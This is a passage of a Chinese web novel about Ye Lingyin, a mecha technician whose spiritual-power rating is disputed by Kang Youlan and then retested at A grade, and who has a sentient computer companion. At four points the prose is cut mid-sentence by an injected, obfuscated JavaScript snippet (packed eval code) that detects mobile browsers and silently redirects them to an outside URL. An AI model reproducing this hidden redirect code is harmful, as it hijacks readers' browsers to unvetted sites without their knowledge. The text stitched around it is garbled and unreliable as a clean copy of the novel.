;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862814|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聆音挥挥手说没事，但对方一定要请她晚上一起吃个饭，有几个人起哄也要去，最后不知为什么就变成了协会聚餐。 饭桌上，酒过三巡，大家也更加放松地闲聊起来。据赵杰希说，他的家人是黑雾病患者，而他是星兽爱好协会的副会长，如果星兽能治愈黑雾病，他自己是第一个发现的。所以当时误将那个盗用视频谋利的人，当作叶聆音本人的时候，情绪才会那么激动。 听到叶聆音说她本人也患有黑雾病后，赵杰希更加愧疚，捏着酒瓶哇哇大哭，嘴里胡言乱语着要把副会长的位置让给她。 叶聆音都懵了，没想到他私底下竟然是这种性格。 与一众同好热热闹闹地吃过饭，回到宿舍后，已经是晚上了。 叶聆音打开电脑。 她在聚会上也没忍住喝了点酒，虽然没有完全醉，但在酒精刺激下，她整个人都处于一种精神亢奋的状态。 她有好多话、好多话想说，但不能对父母。 叶聆音打开一个空白文档，对着电脑就开始询问。 “小F，你想让我开心，是因为受到了那个小机器人的影响吧？” 她想起了在蓝梦星的经历，那个陪伴型机器人的说明书上写，它可以识别人的喜怒哀乐，并对此做出反应。她那时候完全把小F当成了树洞，说了很多被压抑在心中的哀伤。 按照初始设置，小机器人会通过讲笑话、唱歌、陪她聊天之类的方式来让用户重新开心起来。 因为这是程序设置好的。 她不知道小F究竟是什么，但它说自己现在变成了电脑，却还是和那时一样，会想要让她开心而做了那么多事。 小F，它只是被小机器人里面，人为设置好的运行程序控制了吧。 如果它只是个没有感情的机器，叶聆音不会有任何顾虑。 可叶聆音发现了，小F是有自己的情绪的，却还是被最初的小机器人引导着，想要让自己的主人快乐。 它自己有意识到吗？ 继续利用这一点，让她感到自己很可耻。 可这种，似乎没有掺杂任何目的与利益的，被关心的感觉，像暖暖的阳光照在身上，实在是……太难以割舍了。 过去靠着那份潜力鉴定书，她被那么多人“喜欢”着，可终有一天梦会醒的。 醒来的那一刻，会比从未得到过的感觉，更加痛苦。 不要再沉迷其中了。 叶聆音告诫自己。 文档上的光标闪烁着，过了一会儿，上面开始自动打字。 【确实，我想自己是受到了第一个身体的影响】 哪怕这个问题是叶聆音主动问的，甚至是按照她心中所想，十分刻意的诱导性提问，在看到对方给出了相同的答案后，她注视着屏幕的眼睛仍瞬间黯淡了下来。 【但这是不可避免的】 文档继续自动打出文字。 【我产生意识以来，已经在这个世界上学习了很多知识】 【只要与这个世界互动，就会被影响】 【其中，最初的经历是影响权重较大的】 【人类也是一样，很多第一次遇到的人或事，生长起来的环境，都会影响到这个人类之后生活的一切，无非是程度不同，而且不容易量化罢了】 叶聆音看着屏幕上一行行出现的文字，不得不承认，她被说服了。 内心那点见不得光的失落，也渐渐消弭。 她突然想到了什么，又问道：“小F，你偷偷收藏了机器人公司的售货网站，是想有一个可以移动的身体吗？” 【（⊙▽⊙）】 【是这样的，不过我查阅了曜之帝国公民平均收入，90%以上的人很难买的起桑弗拉尔公司新推出的等比例智能机器人】 叶聆音点开那个网站，其中最便宜的基础款也得六十万星币以上。 按照她现在的机甲检修工作，得不吃不喝三四年才攒得出来。 如果撇去生活费，需要更久。 她还不确定自己能不能活到那时候。 或许是从摄像头里看到了她紧皱的眉头，小F安慰她并提出了建议。 【聆音，其实我当电脑也挺开心的：）】 【但如果你允许我在外面打工的话，我也可以产生收益】 21. 康幼兰 小F要去打工，叶聆音同意了。 它没有帝国的身份ID，只能用叶聆音注册的账号在网上接私活。 这段时间里，叶聆音每隔几天就会收到零零散散的到账通知。 她感觉自己有点像旧时代的地主，小F甚至不用给饭吃，只需要一点电费，就会不眠不休地在电脑上打工。 上次因祸得福让叶聆音涨了不少粉丝，她收集了足够的萌值，将系统空间扩建了一番。 现在的空间差不多有一个二居室那么大，叶聆音还兑换了不少玩具放在里面。现在，不失绵可以在空旷的地面上无所顾忌地奔跑了。 而距离她工作转正，还有一个月。 这天，叶聆音像往常一样去车间上班，却看到工厂门口停了好几艘私家飞船。几个穿着黑衣、保镖模样的壮汉围着两个人，叶聆音认出了其中一个被围在中间，正面红耳赤地高声解释着什么的人。 是冯师傅。 她正要上前询问发生什么事了，就看到为首的保镖抬起一脚就将冯师傅踹翻在地。叶聆音的脚步一顿，短暂地迟疑了两秒钟，赶忙折返回去找到签到装置摁下了警报系统。 工厂园区内设有巡逻的机器人安保，因为机甲内部的许多重要零件价格不菲，为了防止小偷进入园区才备下的。 警报声响起，巡逻机器人马上来到了叶聆音指示的地点，她本人也紧随其后。 “你们不要欺人太甚！那批机甲绝对没有问题，正是因为是送去军校的教学器材，所以检查得十分仔细，绝对不可能出差错！”趴在地上的冯师傅捂着肚子，痛得面容扭曲的同时还不忘为自己辩解，他的同事见状赶忙上前捂住他的嘴。 “老冯，快别说了，你没看到那家飞船上的标识吗？人家是大人物，我们根本惹不起。”那人搀扶着冯师傅站起身，在他旁边低声耳语道。 “呵，还真会狡辩。” 一道语气嫌恶的女声响起，在听到这个声音的同时，正往这边赶来的叶聆音浑身一僵。 妆容精致，从头到脚都穿着名牌的女人从私家飞船上走下来。她的余光捕捉到了跑过来的叶聆音，以为她也是个来拉架劝阻的人，扭过头正要接着嘲讽，却在看到后者的脸时同样怔住了。 “你……”康幼兰脸上闪过一丝意外，不过很快就变成了憎恶。 “叶聆音，你怎么会在这儿？” 康幼兰。 叶聆音盯着她那张和记忆中完全没有差别的脸，如果当时不出意外，这个人会和自己成为一家人。两人素来不和，在康斯年和他母亲为了S级精神力，而对自己逢迎讨好的时候，康幼兰就表现出了对她的轻蔑与嫉恨。 轻蔑的是她平民的身份，嫉恨的是她明明出生普通家庭，却拥有很多上层人渴望的S级精神力——这种金字塔尖的天赋。 所以在叶聆音被揭穿精神力“作假”后，比起弟弟康斯年的气急败坏，姐姐康幼兰只不过是从讨厌她，变成了更加讨厌她。从这个角度看，康幼兰算得上是个表里如一的人。 发现这两人好像互相认识，冯师傅和同伴没有注意到对方语气不善，像看到了救星，冲着叶聆音大喊：“小叶，你认识这位小姐？你快和她解释清楚，那批检测过的机甲真的没有问题啊！” 康幼兰微微挑眉：“小叶？” 她又打量了一番叶聆音身上，与那两人一模一样的工作服，露出恍然大悟的神情。 “你也是这儿的员工？” “怪不得呢，如果我没记错的话，机甲检修需要精神力吧。你们雇佣一个没有精神力的废物，现在出了问题还不敢承认？” “这怎么可能？这位女士，你简直越说越离谱了。”冯师傅缓过劲来了，不顾同事阻拦据理力争。 他今天真是倒了八辈子血霉，大清早来上班，就遇到这个女士带着一堆人兴师问罪。起初责怪他们送去帝都军校的机甲零件有问题，非要讨要个说法。现在看到小叶来，又不分青红皂白地污蔑他们招收没有精神力的员工，简直是莫名其妙。 这时，几人的上司也听闻这边发生的骚动，急忙赶了过来。他先是注意到康幼兰的那几架价值不菲还挂有特殊标识的飞船，后又看到康幼兰本人，立刻猜到了对方的身份。 上司陪着笑脸，将人请到了会客室，询问了来龙去脉。 起因原来是康幼兰在军校演练时输给了同级。 这种军校生之间的练习与切磋互有输赢也很正常，但康幼兰并不这么认为。 她虽然是B级精神力，但凭借着出色的驾驶技巧，一些A级精神力的人都不是她的对手。康幼兰也身体力行地证明了，努力是可以与天赋相抗衡的，这让她一度成为军校的风云人物。 但康幼兰却在不久前的一次对战演练中，输给了和她同为B级精神力的人。 那个叫周婧雅的女孩，一个来自穷乡僻壤的土包子。她的双亲都是帝国平民，既没有出众的天赋，也没有条件在她小时候就进行精神力训练，康幼兰平时连A级精神力的同学都不放在眼里，这一次竟然会被这样一个人打败了。 康幼兰不服气，又拉着对方要再比一次，结果又输了。 她不甘心地下了第三次战书…… 就这样连输三场后，彻底颜面扫地。 康幼兰要求校方追查周婧雅有无作弊的嫌疑，比如是不是使用了什么短时间内提升精神力的违禁药物。然而双方掰扯了这么久，校方最终出示的调查结果表明周婧雅没有任何问题。 但康幼兰怎么说也是康元帅的女儿，第一军校的好多教师曾经都在康元帅手下服役过。完全不处罚那个学生也不行，只能是调取出那三场对战回放，反复观看后勉强挑出几处不合规的操作，给周婧雅记了处分。 校方希望能以此作为安抚。 不过，康幼兰对这个结果仍不满意。 她想不明白自己为什么会输给同为B级的周婧雅，思来想去，康幼兰开始怀疑起那批教学型机甲。 比赛的那三场，她使用的都是军校新购置的机型。自己会输，很有可能是因为新机甲有什么问题，她驾驶的时候总感觉很不顺手。 康幼兰顺藤摸瓜，找到了位于菲罗星上的这家机甲工厂，本就憋着一肚子气的康幼兰直接请病假开着飞船前来兴师问罪。 于是，就在今天早上发生了堵截冯师傅那件事。 叶聆音弄清了前因后果，她不由地也紧张起来。 送往帝都第一军校的那批教学型机甲，确实是她当时和冯师傅一起检修的。有瑕疵的零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862815|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件根本不可能被运出车间，要么返厂修缮，要么直接销毁。 当初，冯师傅还告诉了她这一点，因为是送去军校的教学机甲，所以需要更加细心，绝对不能出现任何差错。 叶聆音快速地在脑海中回忆了一番，她记得很清楚，那批机甲的每个部件自己都反复查验过至少五次以上，不可能有疏漏。在那之后冯师傅还夸赞她学得很快，检测仪器也使用得很熟练。 除非…… 她的精神力再次出现了异常。 叶聆音脸色煞白。 难道她的精神力在不知不觉又变成了N级，以至于在工作中出了差错都没发现？ 不，不会。 她全程都可以使用检测仪器，如果精神力出现异常，她是第一个发现的人。 面对康幼兰的质疑，见多识广的上司不急不躁地解释，他们公司这么多年来还没有发生过这种情况，如果送往第一军校的教学机甲真的出现了问题，那么军校的老师肯定会第一时间找到他们。毕竟使用同一台机甲的学生肯定不少，发现异常后一定会向上反馈。 至于他们公司招收的机甲检测师没有精神力？这更是无稽之谈。 上司出示了叶聆音面试时提交的精神力鉴定书，上面白纸黑字写着被鉴定人精神力为C级，旁边还有防伪标识。 康幼兰看着摆在面前的证据，微怔片刻，突然噗嗤一下笑出了声，看向叶聆音厌恶的眼神变得有几分滑稽。 “叶聆音，你当初骗不到我们，现在又想故技重施了是吗？这家机甲工厂里的人，从上到下也全是一群蠢货，竟然会再次被你骗到。” “你一定想不到，会在这里碰到我吧？” “否则，还真让你得奸计得逞了。” “不过，我也实在是好奇，你究竟是用什么办法，能一而再再而三地买通精神力鉴定中心的人？你家看起来也没什么钱，难道是靠你那张还看得过去的脸蛋吗？” 站在一旁的冯师傅先前挨了打，刚才又被康幼兰言语攻击为“蠢货”，在听到她现在又编排起自己的学徒，终于是沉不住气，想要出头为自己和同事说几句话，却被叶聆音拦住了。 在场的几人面面相觑，目光在康幼兰与叶聆音之间来回转。 这个女人究竟在说什么？ 官方的鉴定证据摆在眼前，还以为她会就此收敛，没想到对方却莫名其妙嘲讽起别人了。如果不是看出康幼兰的身份不凡，说不定早把她当成胡言乱语的疯子轰出去了。 叶聆音直视着康幼兰，语调平稳：“这位女士，既然你不相信权威机构的鉴定结果，那么我口头解释再多也没法让你信服。并且，你到现在也没有证据去佐证我的鉴定书造假，这都只是你自己的主观臆断。” 原本倚靠在沙发上的康幼兰猛地站起身，她怒视着叶聆音，眼里好像要喷出火来。 “你这个臭不要脸的骗子！时至今日还敢和我叫板，等我把你那层伪装彻底撕下来，看你还能得意多久？” 众目睽睽之下，她一把撕碎了那张鉴定书，指着叶聆音厉声道：“这个不算，要我相信你，除非你在我眼皮子下面再做一次精神力鉴定，具体去哪一家机构也得我来选。” “这一次，我会把你的真面目公之于众。” 22. 愿赌服输 叶聆音来菲罗星后提交给面试官的鉴定书，还是她之前在蓝梦星被陈姐建议去试试的那一份。 因为不管什么地方的精神力鉴定中心，都是按照曜之帝国的统一标准进行测试的。公司当时也没有让她在入职前再做一次，直接认可了她带过来的那份报告。 看着自己的那份精神力鉴定书被撕碎，叶聆音也没有多生气，她只是目不转睛地盯着康幼兰，冷声道：“凭什么只要你提出怀疑，我就得证明给你看？你自己什么代价都不用出，就可以空口白牙地污蔑其他人，这不公平。” 原以为被自己当众戳穿后，叶聆音会崩溃到跪地求饶，没想到她到这个时候还不死心地与她争辩些无关紧要的文字游戏，康幼兰甚至都产生了些许错愕的情绪。 “什么意思，你想怎么样？”康幼兰双手抱胸，微扬着下巴瞥向叶聆音，“你不会还幻想着，我会给你道歉吧？” 叶聆音摇头，平静地开口：“不，我不需要你的道歉。既然你说我没有精神力，还伪造了假鉴定书为自己谋利，如果之后的鉴定结果证明我没有错，那你就是诽谤。” “我需要赔偿。” 康幼兰的脸几近扭曲，她愣住了几秒钟，随后幅度很大地点了几下头，提高了音量：“好，好，很好……呵，和我提条件，是吗？这么说吧，如果你能在我面前变出来一份拥有精神力的证明，我就给你想要的赔偿。” “但是……”她话锋一转。 “若是结果证明你就是个骗子，那么你得把自己用了什么手段骗取鉴定报告的过程，全部一五一十地录下来。”康幼兰取出自己的光脑，一巴掌拍在桌子上。 她虽然不能直接让叶聆音去死，但可以让她们全家社会性死亡。等自己公布了这份认罪录像，叶聆音受不了舆论攻击再自我了断，那才是最解气的。 叶聆音：“好，不过……” 康幼兰冷笑：现在知道后悔了吧？逞一时威风谁不会啊？ “……不过，要提前立一份协议，我怕你会出尔反尔。”叶聆音掏出了纸笔。 “什么？”康幼兰怒极反笑，她简直不敢相信自己的耳朵。 “怕我出尔反尔？叶聆音，你怕不是失心疯了！天底下竟然有你这么不要脸的人，你居然还敢说出怕别人出尔反尔的话？要不是你当初……”康幼兰的语调越来越激动，然而就在即将说出最让自己气愤的那件事时，她却突然噤声了，只是用眼神怨毒地瞪着对方。 母亲曾叮嘱过她，不能将退婚的内幕声张出去。虽然整件事都错在叶家人，但她们作为康元帅的家人，毕竟也算是公众人物，三天两头地出现在媒体面前，被那么多人的眼睛盯着。要是被有心人借此事恶意发挥，到底是影响不好。 她们在父亲眼中的形象也会更糟糕。 如果能拿到叶聆音认罪的录像，足以证明她们一家才是真正的受害者。公众们的关注点也会集中在叶聆音精神力造假的事件上面，而不是恶意解读康家退婚的缘由。 虽然明眼人都知道她们是为了S级精神力，但不能直白地说出来。 康幼兰同意了。 签下名字的下一刻，康幼兰抬眼看向叶聆音，试图从后者脸上看到悔恨、畏惧或是痛心疾首的表情。 然而都没有。 反倒是她心中的疑虑愈演愈烈。 叶聆音为什么一点都不害怕？ 她明明没有精神力，康幼兰是知道这一点的。而且也不可能是她后来又觉醒了力量，曜之帝国从未有过这样的先例。 没有精神力的人，到死都不会再有了。 既然如此，叶聆音为什么敢和自己立下这份协议？ 她该不会是故意等在这里坑自己的吧？ 这不可能。 除非这个人有未卜先知的能力，但即便如此，也没必要这么做。 康幼兰很快重新镇定了下来，她嘴角含笑，阴冷的目光落在叶聆音身上。 这家伙只是在虚张声势罢了，她当年都能骗得了那么多人，演戏对叶聆音来说或许根本不是什么难事。 叶聆音收起了那份协议。 说实话，康幼兰猜得不错，她确实没有表面看上去的那么镇定自若。 她在赌。 赌自己的运气是不是真的这么差。 被这样质疑也不是第一次了，她差不多也习惯了。比起曾经的那些遭遇，康幼兰都算是态度温和的了。 她当年明明被检测出拥有S级潜力，却在觉醒精神力的时候消失了。 这一次，她的精神力也会平白无故地消失吗？ ———— 按照约定好的内容，精神力鉴定的机构是康幼兰选的，叶聆音没有任何异议。 康幼兰选择了菲罗星最大的一家，她不相信叶聆音真有能力让这么多鉴定中心为她编造谎言。 叶聆音与康幼兰奔赴那家精神力鉴定中心，冯师傅也跟着她一起过来了。 “小叶，这不光是针对你，这还是对我们公司的诽谤！”冯师傅义愤填膺，他对叶聆音十分有信心，毕竟这个学徒是他带出来的，他很清楚叶聆音的实力。 没有精神力的人根本就驱动不了机甲检测仪器，那个来头很大的女人也不知道发的什么疯。不过没关系，他、小叶还有公司，马上就能洗清罪名，重获清白了。 “小叶，你就是C级精神力，一会儿进去了别紧张，集中注意力啊！” 检测室门外，冯师傅千叮咛万嘱咐。 叶聆音再次躺在了熟悉的平台上，说来也奇怪，面临着那份可能会毁掉她的协议内容，她这次反倒没有那么紧张。 如果命运真的要折磨她，她又能如何呢？ 几十分钟后，叶聆音神色如常地走出了检测室。 她看到不远处自己的那份精神力鉴定报告从打印机里吐出来，站在一旁守候的冯师傅第一个冲过去拿起来看。 随后，他露出一个十分震惊的表情。 叶聆音迈出的脚步骤然停滞，她没有过去，只是站在原地问对方。 “是C级吧？” 她看到冯师傅神色古怪地抬起头看了她一眼，紧接着很缓慢地摇了摇头。 叶聆音如坠冰窖。 她赌输了吗？ 可是，为什么？ 每次都在这种时候…… 明明在这之前没有发现任何问题的。 叶聆音闭上双眼，她的大脑已经提前模拟出了康幼兰得意的大笑与嘲讽，但想象中的声音却并未出现。 重新睁开眼睛，她看到，后一个冲上去查看结果的康幼兰也十分震惊。 叶聆音提线木偶一般使役自己的身体挪移过去，她接过自己的精神力鉴定报告，看向右上角那一栏的结果。 一个鲜红的A。 “这不可能！”康幼兰最先出声。 她面容扭曲，气得嘴唇发白，并试图去揪那个工作人员的衣领。 “你们也和那个骗子是一伙的，被我发现了吧！” 工作人员紧皱眉头，躲开了康幼兰伸过来的爪子。犹豫片刻，那个工作人员按下了报警系统，很快赶来两个机器人将嚎叫的康幼兰控制住。 林子大了什么鸟都有，作为菲罗星上最大的精神力鉴定中心，她在这里上了这么久的班，见过的奇奇怪怪的人也不少了。确实有一些家长对自己的孩子报以厚望，但最终鉴定结果不尽人意，一时接受不了，在鉴定中心里拿工作人员撒气的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862816|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 撒泼打滚的不少见，但康幼兰这种的却是第一次遇到。 说他们是故意造假的骗子，简直是无理取闹。 叶聆音本人同样很震惊，她看着手里的鉴定书久久无法平静。 A级？ 她怎么又变成A级了？她的精神力还真是奇怪。 “小叶，你竟然是A级精神力。不不不，你明明都是A级，为什么会找一个机甲检修的工作啊？”一旁的冯师傅充分发挥了自己的脑补能力，“你是不是和家里赌气，故意伪造了一份C级精神力的鉴定报告来吓唬父母啊？” 他的年纪虽然大了，但上网冲浪时经常能看到青春期叛逆小孩和父母作对，故意折腾自己来让父母心疼后悔的。 “骗子！叶聆音，你这个骗子！” 康幼兰的厉声尖叫不绝于耳，不过很快她就被带去隔离室冷静了，现场重新恢复了平静。 叶聆音抚摸着那个鲜红的A字，莫名觉得有些烫手。随后，她又和冯师傅解释了，自己并非是和家里人赌气才这么做的，她在蓝梦星做过的那次精神力鉴定就是C级。 “哦，那就是你在上一家鉴定中心做出来的结果有问题。老话说得好啊，祸兮福所倚，福兮祸所伏。要不是那个疯女人今天来找茬，小叶你还不知道要被蒙在鼓里多长段时间呢。” “这可是A级精神力啊，啧啧。万一这么稀里糊涂地跟着我埋没了，别说是你父母了，就连我也觉得太可惜了。” “对了，那个疯女人，你和她互相认识吧？你们之间是不是有什么恩怨啊？” 叶聆音先是告知了冯师傅康幼兰的身份，后者顿时被吓得面无血色，回过神来后连忙拜托她，不要把自己称呼对方是“疯女人”的胡话说出去。 “……至于恩怨的话，其实也不是什么大事。可能只是她单方面地对我有怨气，我并不多么讨厌她，我们两个几乎生活在不同平行世界的人会产生联系，只能说造化弄人。” 叶聆音起身，去了隔离室。 过去这么久，康幼兰应该冷静下来了。 康幼兰坐在特制的沙发上，柔软、细腻的触感能让情绪紧绷的人放松下来。隔离室里还有微量的可以让人镇定下来的特殊气体。 见到叶聆音的时候，康幼兰气也消得差不多了，没有大吼大叫，只是怨毒地瞪着她。 “你背后的能量还真是不小啊，连菲罗星上的精神力鉴定中心都被你买通了。” “只可惜你骗不了我。” 叶聆音平视着她的眼睛：“我没有在这件事上面说过谎。” “而且我当时也解释过无数遍了，我们家没有勾结精神力鉴定中心作假，我也不知道为什么会这样。” “胡说！” “你分明是为了攀附我们家的权势。” 叶聆音：“那你们为什么要不远万里来天昭星上，找我一个身份普通，平民家的女儿作为联姻对象呢？” 康幼兰沉默了，她偏过头不再看叶聆音。 过了半晌，她嘴里嘟囔着开口。 “原来你也知道自己身份低微，我们家看得起你才找你。否则就凭你，没有了精神力，还真以为自己身上有什么特别之处吗？” 叶聆音当然不会这么认为。 她和康幼兰的想法甚至是一致的。 寄希望于一个人喜欢真实的、没有任何附加价值的自己根本是天方夜谭，所以当初被退婚，被删除联系方式，叶聆音自始至终没有怨言。 “过去的事情说不明白，也不必再提了，还是让我们着眼于当下吧。” 说着，叶聆音取出了那份双方都签过字的协议书。 “康小姐，愿赌服输，该兑现你的诺言了。” 23. 庆贺 最终，康幼兰没有按约定赔偿叶聆音。 她那时气得要死，根本不可能认怂。并且，她们两人当时立下的协议，也是没有法律效应的。 不过，康幼兰必须给公司赔偿误工损失，比与叶聆音协议里约定的价钱高得多。这笔钱的一部分被分发给了受到刁难最多的叶聆音和冯师傅，算作员工的精神损失费。 兜兜转转一大圈，叶聆音还是拿到了属于自己的补偿。 而叶聆音的精神力等级实际为A的消息也不胫而走，原来的同事看她的眼神都变了。往日里大家混熟了，都是坐在一起说说笑笑地吃盒饭。可这几天以来，当叶聆音端着盒饭出现在老地方时，其他人虽然各个都笑着和她打招呼，但都待在和她有一段距离的地方吃饭，也不互相打趣聊天了。 这让叶聆音有种高处不胜寒的“被孤立感”，她私下里找几个人询问缘由，结果是他们觉得和她一起吃饭很有压力。 这家机甲公司总共有差不多快三万员工，其中，A级精神力的员工只有不到一百人，基本都是高管职位和研发人员。机甲检修部的员工都是D级到C级之间的人，他们平时很少见到A级员工，偶尔见到了也是怀揣着崇拜与仰视的心态，现在知道朝夕相处的新人小叶精神力等级竟然是A级，见了面难免有些不自在。 叶聆音试图说服这些人和以前一样就行，但还没等她把同事们的思维掰过来，她就要离开检修部了。 上次和康幼兰周旋的那个车间主任，他向叶聆音传达了上面领导的意思，如果她愿意继续留在这家公司工作，可以把她调到研发部工作。 “你是A级精神力，继续留在检修部工作太屈才了。公司领导是很希望你能够留下来的，研发部员工的福利待遇几乎是我们公司金字塔尖的存在了，年终有奖金，逢年过节有补贴。你毕竟已经在检修部干了这么久，调过去后可以直接领正式工资。” “当然，如果你想另谋高就，我们自然也不会阻挠，你可以考虑几天再做决定。” 说完了公事，对方临了又和她谈起那天康幼兰找茬事件的后续。 “公司后来又找了其它几家检修厂，确认那批教学机甲没有任何问题。” “那位康元帅家的千金之所以会跑来生事，我猜，或许是因为军校里的很多人不想招惹元帅家的人，这才会故意在演练中输给她，给了那位千金小姐一种自己实力还行的错觉。” “没想到这一次遇上个不给面子的愣头青，唉，咱们公司和那个军校生都是被无故波及到了。不过还好，小叶你之前做过的精神力鉴定出现差错，也算是歪打正着，让大家都出了口气。” 之后，叶聆音花了一天时间去了解研发部的具体工作内容，确实待遇极佳，但也辛苦许多。思考过后，她认为自己可以胜任这些工作，便向上司提出调去研发部的申请。 去往研发部前，冯师傅还托熟人给那边的领导打包票，说叶聆音学东西很快，是个很出色的孩子。 经过此次波折，叶聆音的收入翻了三倍，并且搬进了更大的宿舍……现在不能叫宿舍了，和她原来住的单间不同，现在的屋子有客厅、厨房、书房、卧室和阳台，算是公司分配给员工的小家。 在寸土寸金的菲罗星有这样一座小居所不是一件容易的事。 周末，叶聆音打扫了屋子，坐在飘窗上休息时，温柔的光亮恰好照在身上，暖意缓缓渗透肌肤。 静谧、舒适，像美梦里才会出现的画面。 她放出不失绵，也让它可以享受当下的幸福时光。 这时，家里恰好打来了通话，叶聆音看着屏幕犹豫了片刻，没有找地方躲避，直接坐在原位接了起来。 最先出现的是秦蓝，她调整镜头让丈夫和小女儿也能被看到。 三人都穿着休闲的衣服，坐在草坪上的布垫里，一旁还摆放几个食盒，里面是水果、点心和烤肉。 “聆音，我们出来野餐了。你在做什么呀，有没有出去玩？” 画面里，叶向明正在加热烤肉，叶翎羽背对着镜头在看漫画。除此之外，叶聆音还看到，远处的一棵大树下，大伯一家竟然也坐在那儿野餐。 虽然彼此就像陌生人一样互相不来往，但同时出现在这里应该不是巧合。过去了这么久，两家人的关系似乎有所缓和。 “翎羽，天气这么好，你去草坪上来回跑一跑，别总是看漫画了。”秦蓝戳了戳躺在垫子上的小女儿，后者不耐烦地往旁边翻滚了几下，见叶翎羽马上要滚到草地上，秦蓝只好赶紧拉住她的衣角。 “好了好了，看吧，不烦你了。可别弄脏衣服，这一身还是过年时买的，没穿过几回呢。” 另一边，叶向明烤好了肉，正要给大女儿展示成果，他看向屏幕，最先发现了不对劲。 “聆音？哎，你背后的那个，不是群星大厦吗，你去菲罗星玩了吗？” 群星大厦是菲罗星上的地标式建筑。 听到父亲的疑问声，专注于漫画内容的叶翎羽也好奇地转过身，看向屏幕。 经丈夫这么一提醒，秦蓝也反应了过来，她仔细一看，确实是群星大厦。 叶聆音点头：“嗯，我去菲罗星了。” 叶向明迟疑片刻，露出一个恍然大悟的表情，他以为大女儿是去菲罗星旅游了。 “挺好的，工作累了，去放松一下。你还记得咱们好多年前去菲罗星旅游吗？翎羽那会儿刚上幼儿园，她可能都不记得菲罗星是什么样子了。” 秦蓝得知这个消息，则更关心大女儿的安全：“聆音，你和谁一起去的，幼儿园的同事吗？” “不，我一个人。” 听到她这么说，秦蓝显然有些着急了，追问道：“那你现在在哪里啊？怎么看着像谁的家里？” “妈，我不是来旅游，我是在这里工作。”叶聆音对父母坦白了。 离开蓝梦星时，她担心自己的精神力会变化，怕父母又经历一次希望落空的痛苦，所以始终隐瞒着自己的去向。不过现在看来，她的精神力不光没有消失，等级反倒还上升了。 虽然她不明白这究竟是怎么回事，她的精神力还会不会再次消失。 会在这时坦白，只是因为她现在心情不错。 自从发生了那件事，家人也和她一样压抑了许久，她想和最爱的亲人分享这份喜悦。 “工作……聆音，这是怎么回事啊？是不是有人要给你介绍工作，你可千万别信啊，好多这种冒充老乡的人都是骗子！”秦蓝呼吸急促，怕大女儿一时想不开误入歧途。 “妈，我没有上当受骗，我是通过正规渠道进入这家公司的。你看，这是公司分给我的住所，你们今后如果想来菲罗星玩的话，可以和我一起住，同事向我推荐了好几个游玩的地方，我可以带你们去玩。”叶聆音起身在房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862817|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间里来回走动着展示房间布局与装饰。 秦蓝愣住了。 叶向明面色凝重地沉默了好一会儿，突然压低声音问她：“聆音，你是不是被骗进什么传销组织了？你可不要被这些糖衣炮弹给迷惑了，快些脱身最重要。你能打视频过来就说明他们还没有控制你的人身自由，你先买票回来，没钱的话爸爸给你买。” 叶聆音：“……”。 还以为父母会和她一样高兴，叶聆音万万没想到对方会是这样的反应。不过很快，她意识到父母没有上帝视角，他们只知道女儿好端端地在蓝梦星打工，有一天突然打电话过来说自己已经去了菲罗星，还有了一处住所，论谁都会怀疑。 叶聆音只好先挂断了电话，她取出自己的精神力鉴定书，拍了一张照片传给父母看。 【你们看，我一直没有告诉你们，这段时间里我的精神力逐渐恢复了。虽然不知道以后还会不会消失，但我也因此找到了一份收入不错的工作。因为还不确定未来会如何，所以你们也不要告诉其他人】 叶聆音编辑好一大段话发送了过去，想了想还把公司地址也发送了一份。 等了很久都没有回应。 就在叶聆音等得心焦，想再打语音过去时，终于收到了一条回信。 【聆音，我们知道你因为那件事很受打击，如果心情不好的话，你请假回来住几天】 叶聆音：？ 不啊，她心情很好啊。 看来哪怕她拿出了精神力鉴定书，父母还是对她恢复精神力这一说法难以信服。比起叶聆音想分享给他们的喜悦，这两人感受到更多的还是惊恐。 他们俩现在说不定忧心忡忡到连周末野餐都进行不下去了。 糟糕…… 本想让家里开心一下，没想到弄巧成拙了。 好在还有叶翎羽相信她。 【姐，你真的是A级精神力了？！！】 【太好了！我现在就要去菲罗星】 